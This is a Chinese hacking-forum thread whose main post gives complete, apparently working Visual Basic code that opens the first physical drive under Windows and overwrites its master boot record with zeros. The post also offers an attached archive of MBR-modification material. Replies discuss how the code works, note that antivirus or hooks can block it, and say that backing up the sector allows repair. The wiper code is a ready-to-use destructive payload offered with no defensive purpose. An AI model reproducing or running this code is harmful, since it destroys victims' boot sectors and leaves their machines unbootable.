找回密码
 加入我们

QQ登录

只需一步,快速开始

搜索
查看: 14081|回复: 25

[原创]纯VB在NT系统下破坏MBR

 火... [复制链接]

857

主题

2632

回帖

2

精华

管理员

此生无悔入华夏,  长居日耳曼尼亚。  

积分
36130
发表于 2010-7-23 19:41:58 | 显示全部楼层 |阅读模式
以下代码在Windows XP和Windows 7 x86/x64上测试成功,原理是磁盘直接写入。
Option Explicit
Private Declare Function CreateFile Lib "kernel32.dll" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function SetFilePointer Lib "kernel32.dll" (ByVal hFile As Long, ByVal lDistanceToMove As Long, lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long
Private Declare Sub RtlZeroMemory Lib "kernel32.dll" (ByVal pDestination As Long, ByVal Length As Long)
Private Declare Function ReadFile Lib "kernel32.dll" (ByVal hFile As Long, ByVal lpBuffer As Long, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lpOverlapped As Long) As Long
Private Declare Function WriteFile Lib "kernel32.dll" (ByVal hFile As Long, ByVal lpBuffer As Long, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long
Private Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long

Private Const GENERIC_READ As Long = &H80000000
Private Const GENERIC_WRITE As Long = &H40000000
Private Const FILE_SHARE_READ As Long = &H1
Private Const FILE_SHARE_WRITE As Long = &H2
Private Const OPEN_EXISTING As Long = 3
Private Const INVALID_HANDLE_VALUE As Long = (-1)
Private Const FILE_BEGIN As Long = 0

Public Function main()
    Dim hFile As Long
    Dim buffer(511) As Byte
    Dim dwReadWrite As Long
    hFile = CreateFile("\\.\PhysicalDrive0", GENERIC_READ Or GENERIC_WRITE, FILE_SHARE_READ Or FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0)
    If (hFile <> INVALID_HANDLE_VALUE) Then
        Call SetFilePointer(hFile, 0, 0, FILE_BEGIN)
        Call ReadFile(hFile, VarPtr(buffer(0)), 512, dwReadWrite, 0)
        Call SetFilePointer(hFile, 0, 0, FILE_BEGIN)
        Call RtlZeroMemory(VarPtr(buffer(0)), 512)
        Call WriteFile(hFile, VarPtr(buffer(0)), 512, dwReadWrite, 0)
        Call CloseHandle(hFile)
    End If
End Function

另附一份关于修改MBR的资料,可以拿去参考一下。

改写MBR.rar

806.06 KB, 下载次数: 78

售价: 1 水晶币  [记录]

rmbr

6

主题

196

回帖

0

精华

铜牌会员

菜鸟

积分
52
发表于 2010-7-23 19:54:42 | 显示全部楼层
无理由支持
本网站最菜的人 该用户已被删除
发表于 2010-7-23 20:07:25 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽

38

主题

199

回帖

2

精华

钻石会员

积分
3408
发表于 2010-7-24 19:25:57 | 显示全部楼层
篡改MBR的代码是在Ring 3的,我用VB实现了。
如果附件无法下载,请点击这里
本网站最菜的人 该用户已被删除
发表于 2010-7-24 20:42:09 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽

9

主题

210

回帖

0

精华

初来乍到

积分
904
发表于 2010-7-25 18:39:25 | 显示全部楼层
绝对膜拜。!!!
传说中的鬼影吗!??!!
可以从MBR启动!?

9

主题

210

回帖

0

精华

初来乍到

积分
904
发表于 2010-7-25 18:42:22 | 显示全部楼层
本帖最后由 oopww 于 2010-7-25 18:46 编辑

汇编的代码早有了···叫什么红眼睛
只是没你说的R3的啊!!!!

857

主题

2632

回帖

2

精华

管理员

此生无悔入华夏,  长居日耳曼尼亚。  

积分
36130
 楼主| 发表于 2010-7-25 19:36:50 | 显示全部楼层
汇编的代码早有了···叫什么红眼睛
只是没你说的R3的啊!!!!
oopww 发表于 2010-7-25 18:42



CreateFileA+WriteFile
本网站最菜的人 该用户已被删除
发表于 2010-7-25 20:27:48 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
本网站最菜的人 该用户已被删除
发表于 2010-7-25 21:32:34 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽

38

主题

199

回帖

2

精华

钻石会员

积分
3408
发表于 2010-7-25 21:36:46 | 显示全部楼层
至于这份代码的后果是什么,我就不说了,实践出真知嘛,自己在真机上测试一下就行了。
PS:真的在真机上测试人的绝对是SB。
如果附件无法下载,请点击这里

38

主题

199

回帖

2

精华

钻石会员

积分
3408
发表于 2010-7-25 21:39:06 | 显示全部楼层
再次膜拜TA神牛
本网站最菜的人 发表于 2010-7-25 21:32



不要老是说这些虚伪的话。。。
本网站最菜的人 该用户已被删除
发表于 2010-7-25 21:47:02 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽

6

主题

196

回帖

0

精华

铜牌会员

菜鸟

积分
52
发表于 2010-7-26 19:51:43 | 显示全部楼层
用不着测试了
看见"RtlZeroMemory"就知道会怎么样了
真是邪恶啊.......

6

主题

196

回帖

0

精华

铜牌会员

菜鸟

积分
52
发表于 2010-7-26 19:52:38 | 显示全部楼层
其实只要把WriteFile的Call注释掉就不会有这种后果了

38

主题

199

回帖

2

精华

钻石会员

积分
3408
发表于 2010-7-26 19:56:54 | 显示全部楼层
用不着测试了
看见"RtlZeroMemory"就知道会怎么样了
真是邪恶啊.......
xiaoly99 发表于 2010-7-26 19:51


RtlZeroMemory只是清空本进程中buffer数组的值,这一步还没有破坏MBR。。。

38

主题

199

回帖

2

精华

钻石会员

积分
3408
发表于 2010-7-26 19:57:18 | 显示全部楼层
其实只要把WriteFile的Call注释掉就不会有这种后果了
xiaoly99 发表于 2010-7-26 19:52



废话。。。

23

主题

117

回帖

1

精华

银牌会员

积分
400
发表于 2010-7-27 09:14:41 | 显示全部楼层
这个方法不一定可以成功。。。比如装了某些杀毒软件后,或者装了什么还原软件之类的。。。通常都会保护0扇区的

857

主题

2632

回帖

2

精华

管理员

此生无悔入华夏,  长居日耳曼尼亚。  

积分
36130
 楼主| 发表于 2010-7-27 09:22:43 | 显示全部楼层
回复 19# 364589886

废话。。。当然只能在无杀软的情况下。。。
随便一个ssdt hook就能禁止Ring 3写MBR了。
本网站最菜的人 该用户已被删除
发表于 2010-7-27 19:34:23 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽

1

主题

8

回帖

0

精华

初来乍到

积分
10
发表于 2011-5-1 16:29:50 | 显示全部楼层
请问楼主~
那能破坏~

能否修复呢?

857

主题

2632

回帖

2

精华

管理员

此生无悔入华夏,  长居日耳曼尼亚。  

积分
36130
 楼主| 发表于 2011-5-1 19:15:42 | 显示全部楼层
回复 opboy45 的帖子

在破坏之前先备份就行了。。。
反正不就是写512个字节么。。。

1

主题

8

回帖

0

精华

初来乍到

积分
10
发表于 2011-5-2 10:39:43 | 显示全部楼层
回复 Tesla.Angela 的帖子

也对哦~
呵呵~

感谢楼主了~

0

主题

42

回帖

0

精华

铜牌会员

积分
140
发表于 2012-2-19 21:28:29 | 显示全部楼层
多谢分享

17

主题

89

回帖

0

精华

铜牌会员

积分
250
发表于 2012-2-21 13:39:51 | 显示全部楼层
以前有搜索mbr木马的东西,当时在虚拟机运行测试了。反正每次都开启都提示一句英文就放在那里了。不知道现在还能搜到吗。

0

主题

42

回帖

0

精华

铜牌会员

积分
140
发表于 2012-2-22 23:57:24 | 显示全部楼层
学习一下
您需要登录后才可以回帖 登录 | 加入我们

本版积分规则

快速回复 返回顶部 返回列表